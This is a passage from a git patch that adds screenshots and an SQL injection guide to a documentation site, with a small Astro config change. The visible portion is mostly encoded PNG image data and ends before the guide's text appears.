From a402c9c31ecfa2ba989451770f789e41bfd976ea Mon Sep 17 00:00:00 2001 From: Ai <102631339+BoopEnthusiast@users.noreply.github.com> Date: Fri, 29 Dec 2023 22:48:17 +0000 Subject: [PATCH] feat: SQL Injection checkpoint (#113) Most of the SQL injection docs done, they were done earlier and I thought I opened a pull request but I guess it didn't go through The docs are not completely finished, I need to edit it and add one or two more things, especially around the end. But for now they should be sufficient --- astro.config.mjs | 2 +- src/assets/sql-injection/LoginHeader.png | Bin 0 -> 30421 bytes src/assets/sql-injection/LoginPayload.png | Bin 0 -> 4605 bytes src/assets/sql-injection/SearchHeader.png | Bin 0 -> 26228 bytes src/assets/sql-injection/SearchJSON.png | Bin 0 -> 44567 bytes .../guides/cybersecurity/sql-injection.md | 215 ++++++++++++++++++ 6 files changed, 216 insertions(+), 1 deletion(-) create mode 100644 src/assets/sql-injection/LoginHeader.png create mode 100644 src/assets/sql-injection/LoginPayload.png create mode 100644 src/assets/sql-injection/SearchHeader.png create mode 100644 src/assets/sql-injection/SearchJSON.png create mode 100644 src/content/docs/guides/cybersecurity/sql-injection.md diff --git a/astro.config.mjs b/astro.config.mjs index 1f6bad25..1a9b3726 100644 --- a/astro.config.mjs +++ b/astro.config.mjs @@ -115,7 +115,7 @@ export default defineConfig({ }), tailwind({ // Disable the default base styles: applyBaseStyles: false - }), mdx()], + }), ], // Process images with sharp: https://docs.astro.build/en/guides/assets/#using-sharp image: { service: { diff --git a/src/assets/sql-injection/LoginHeader.png b/src/assets/sql-injection/LoginHeader.png new file mode 100644 index 0000000000000000000000000000000000000000..322f9b610a984e702e16fa15b08445082b344de5 GIT binary patch literal 30421 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

QP1$^0D!vpS~d73dDpEtJ=8ab zCBPckCIZ5PMMc67`c=!Wh^iLH(vL)Vim3jr)88UK=J|>s?=5%WbFR}!QhDiv!9PH; z2~m0y-&3rV;b>ArC-+0u>9X1$4U2pKS99MUmt?x_Pc=?cPT9rO$%>lxRFf&1g^i|`-KM-{c~?-U zByVV$XkI|Om^EcK(-qiGqMi=HLZH^MWP_{$84~nZ3_G=d<@Y z=lA>k{w;Z*_gT-neAjxuYrROiOd2E<74ywLYTaEx>#FL+GW)pZm79zwW9QnX{~QK`snYz#2GlIwrk8oEZFz-E@WZPfuqm%uQT>ZYnuPTYV(69 zCN;YVzI))AerpC5dgpQ%P&7)$b9Nq|Y`ZRB2VikzR|l7NgU=p1wf#}S&@Z;O8&PWCgB$10 zjaH#HevW$vu}%}tnByT>Ko|O^s7V%yyML$%?_I?+3+Z``Tty9!H)P)3*dkGNLDvCY zB(*0**0^C^#D+6@iTa^wYkb;U(}j_LcmXLyncw~vazduNvoV_+t~zRxVdl&dkZeUa8^-M|wSxDO$c4 z)&=2Y92x%R+&uHanCS0z;`tRKf{C8f`L1gL>K+4^#;Szf=eklw;olOB^~uBtL2;3< zot%^IaRr3_t&b-2F}}J6}vezHiRj{PDWih z^5h(&C#w~WDeaEd#QyHi>dWAWr{WABLwTXI$ehBVQO^1>M}e|XI6K}09_x0_3)C>f ziFv(4&=jUxjz=VBU1_!rd6-d|Zci&^1Q+H;n%CpXJ{TvM|N2za2I)dZPwc0E(%K^f zKln^R;UgcOPLQtW5EgD2I$O}y@2GE=vO}%asP?EB*N#}GF>p6PksT4Vz2cy?kA#M6 zQl{vQYy3VK&9wZo=cpns-3NBLdamwTxToJbfLt$kV1vQ#wl0}nQ614mwxIpC42(^Y z)w_j)Z+{2Ly`mRUzeD7}s>_o(@cFYhr|Xg8EVFQ+gkpoWmEPnjs@*xzHXEz`1m(Q% zgjWebr`b5j&hlGz`01~=w${v$1 zn8$C894O=anfGCUa^r6;+@-lXWnzi#Qt{aE>fF_AWSTCPW&O(A;V^0K>K3eZvmAn% 